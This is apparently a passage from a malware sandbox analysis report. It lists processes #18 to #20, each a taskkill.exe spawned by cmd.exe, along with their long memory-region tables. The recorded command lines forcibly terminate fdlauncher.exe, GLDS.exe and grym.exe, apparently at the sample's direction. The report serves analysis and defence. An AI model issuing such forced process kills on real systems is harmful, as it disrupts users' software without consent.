advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #18: taskkill.exe
+
Information Value
ID #18
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM fdlauncher.exe /IM fdlauncher.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:23, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:12
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x87c
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 880
0x 860
0x 10C
0x 11C
0x 344
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000b0000 0x000b0000 0x000effff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x000f0000 0x00156fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x001cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001f0000 0x001f0000 0x0022ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000270000 0x00270000 0x0027ffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00280000 0x0033ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000350000 0x00350000 0x003cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003d0000 0x003d0000 0x004cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004e0000 0x004e0000 0x0051ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000550000 0x00550000 0x0064ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000650000 0x00650000 0x007d7fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000007e0000 0x007e0000 0x00960fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000990000 0x00990000 0x009cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000a20000 0x00a20000 0x00a5ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000af0000 0x00af0000 0x00b2ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000bb0000 0x00bb0000 0x00beffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000c00000 0x00c00000 0x00c3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000c40000 0x00c40000 0x00c7ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000c90000 0x00c90000 0x00ccffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000cd0000 0x00cd0000 0x00d0ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00e10000 0x00e25fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000e30000 0x00e30000 0x0222ffff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x02230000 0x024fefff Memory Mapped File Readable False False False
  • Region Actions
ntdsapi.dll 0x6a730000 0x6a747fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a750000 0x6a7e5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a7f0000 0x6a7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a8a0000 0x6a98afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a990000 0x6a99efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a9a0000 0x6a9a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a9b0000 0x6a9c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a9d0000 0x6aa04fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #19: taskkill.exe
+
Information Value
ID #19
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM GLDS.exe /IM GLDS.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:23, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:12
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x8b4
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 8B0
0x 8AC
0x 8A8
0x 96C
0x 970
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x000f0000 0x000f3fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000100000 0x00100000 0x00100fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x0014ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00150fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000170000 0x00170000 0x001affff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000001b0000 0x001b0000 0x001b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001c0000 0x001c0000 0x001fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000210000 0x00210000 0x0024ffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00250000 0x0030ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000360000 0x00360000 0x0036ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000380000 0x00380000 0x003fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000430000 0x00430000 0x0046ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000490000 0x00490000 0x004cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004f0000 0x004f0000 0x0052ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000530000 0x00530000 0x0062ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000630000 0x00630000 0x007b7fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000007d0000 0x007d0000 0x0080ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000810000 0x00810000 0x0084ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000850000 0x00850000 0x0088ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000008e0000 0x008e0000 0x0091ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00920000 0x00935fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000940000 0x00940000 0x00ac0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000ad0000 0x00ad0000 0x01ecffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001ed0000 0x01ed0000 0x01fcffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x01fd0000 0x0229efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002330000 0x02330000 0x0236ffff Private Memory Readable, Writable True False False
  • Region Actions
fastprox.dll 0x6a710000 0x6a7a5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a7b0000 0x6a89afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x6a8c0000 0x6a8d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a8e0000 0x6a8eefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a8f0000 0x6a918fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a920000 0x6a97bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a980000 0x6a989fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a990000 0x6a9c4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a9d0000 0x6a9defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a9e0000 0x6a9f0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x6aa00000 0x6aa0cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x73e30000 0x73e38fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #20: taskkill.exe
+
Information Value
ID #20
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM grym.exe /IM grym.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:24, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:11
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x83c
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 840
0x 13C
0x 130
0x 674
0x 688
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x0003ffff Private Memory Readable, Writable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00076fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000080000 0x00080000 0x00081fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x000cffff Private Memory Readable, Writable True False False
